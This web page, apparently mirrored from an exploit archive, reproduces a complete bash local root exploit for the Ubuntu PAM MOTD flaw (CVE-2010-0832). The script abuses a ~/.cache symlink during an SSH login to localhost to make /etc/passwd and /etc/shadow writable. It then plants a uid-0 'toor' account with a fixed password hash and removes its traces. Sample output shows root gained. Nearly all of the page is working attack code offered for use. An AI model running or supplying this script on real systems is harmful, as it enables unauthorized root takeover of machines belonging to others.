Home / os / win7

Ubuntu PAM MOTD Local Root Exploit

Posted on 12 July 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Ubuntu PAM MOTD Local Root Exploit</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>==================================
Ubuntu PAM MOTD Local Root Exploit
==================================


#!/bin/bash
#
# Exploit Title: Ubuntu PAM MOTD local root
# Date: July 9, 2010
# Author: Anonymous
# Software Link: http://packages.ubuntu.com/
# Version: pam-1.1.0
# Tested on: Ubuntu 9.10 (Karmic Koala), Ubuntu 10.04 LTS (Lucid Lynx)
# CVE: CVE-2010-0832
# Patch Instructions: sudo aptitude -y update; sudo aptitude -y install libpam~n~i
# References: http://www.exploit-db.com/exploits/14273/ by Kristian Erik Hermansen
#
# Local root by adding temporary user toor:toor with id 0 to /etc/passwd &amp; /etc/shadow.
# Does not prompt for login by creating temporary SSH key and authorized_keys entry.
#
#   user@ubuntu:~$ bash ubuntu-pam-motd-localroot.sh
#   [*] Ubuntu PAM MOTD local root
#   [*] Backuped /home/user/.ssh/authorized_keys
#   [*] SSH key set up
#   [*] Backuped /home/user/.cache
#   [*] spawn ssh
#   [+] owned: /etc/passwd
#   [*] spawn ssh
#   [+] owned: /etc/shadow
#   [*] Restored /home/user/.cache
#   [*] Restored /home/user/.ssh/authorized_keys
#   [*] SSH key removed
#   [+] Success! Use password toor to get root
#   Password:
#   root@ubuntu:/home/user# id
#   uid=0(root) gid=0(root) groupes=0(root)
#
P='toor:x:0:0:root:/root:/bin/bash'
S='toor:$6$tPuRrLW7$m0BvNoYS9FEF9/Lzv6PQospujOKt0giv.7JNGrCbWC1XdhmlbnTWLKyzHz.VZwCcEcYQU5q2DLX.cI7NQtsNz1:14798:0:99999:7:::'
echo &quot;[*] Ubuntu PAM MOTD local root&quot;
[ -z &quot;$(which ssh)&quot; ] &amp;&amp; echo &quot;[-] ssh is a requirement&quot; &amp;&amp; exit 1
[ -z &quot;$(which ssh-keygen)&quot; ] &amp;&amp; echo &quot;[-] ssh-keygen is a requirement&quot; &amp;&amp; exit 1
[ -z &quot;$(ps -u root |grep sshd)&quot; ] &amp;&amp; echo &quot;[-] a running sshd is a requirement&quot; &amp;&amp; exit 1
backup() {
    [ -e &quot;$1&quot; ] &amp;&amp; [ -e &quot;$1&quot;.bak ] &amp;&amp; rm -rf &quot;$1&quot;.bak
    [ -e &quot;$1&quot; ] || return 0
    mv &quot;$1&quot;{,.bak} || return 1
    echo &quot;[*] Backuped $1&quot;
}
restore() {
    [ -e &quot;$1&quot; ] &amp;&amp; rm -rf &quot;$1&quot;
    [ -e &quot;$1&quot;.bak ] || return 0
    mv &quot;$1&quot;{.bak,} || return 1
    echo &quot;[*] Restored $1&quot;
}
key_create() {
    backup ~/.ssh/authorized_keys
    ssh-keygen -q -t rsa -N '' -C 'pam' -f &quot;$KEY&quot; || return 1
    [ ! -d ~/.ssh ] &amp;&amp; { mkdir ~/.ssh || return 1; }
    mv &quot;$KEY.pub&quot; ~/.ssh/authorized_keys || return 1
    echo &quot;[*] SSH key set up&quot;
}
key_remove() {
    rm -f &quot;$KEY&quot;
    restore ~/.ssh/authorized_keys
    echo &quot;[*] SSH key removed&quot;
}
own() {
    [ -e ~/.cache ] &amp;&amp; rm -rf ~/.cache
    ln -s &quot;$1&quot; ~/.cache || return 1
    echo &quot;[*] spawn ssh&quot;
    ssh -o 'NoHostAuthenticationForLocalhost yes' -i &quot;$KEY&quot; localhost true
    [ -w &quot;$1&quot; ] || { echo &quot;[-] Own $1 failed&quot;; restore ~/.cache; bye; }
    echo &quot;[+] owned: $1&quot;
}
bye() {
    key_remove
    exit 1
}
KEY=&quot;$(mktemp -u)&quot;
key_create || { echo &quot;[-] Failed to setup SSH key&quot;; exit 1; }
backup ~/.cache || { echo &quot;[-] Failed to backup ~/.cache&quot;; bye; }
own /etc/passwd &amp;&amp; echo &quot;$P&quot; &gt;&gt; /etc/passwd
own /etc/shadow &amp;&amp; echo &quot;$S&quot; &gt;&gt; /etc/shadow
restore ~/.cache || { echo &quot;[-] Failed to restore ~/.cache&quot;; bye; }
key_remove
echo &quot;[+] Success! Use password toor to get root&quot;
su -c &quot;sed -i '/toor:/d' /etc/{passwd,shadow}; chown root: /etc/{passwd,shadow}; 
  chgrp shadow /etc/shadow; nscd -i passwd &gt;/dev/null 2&gt;&amp;1; bash&quot; toor


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-07-12]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :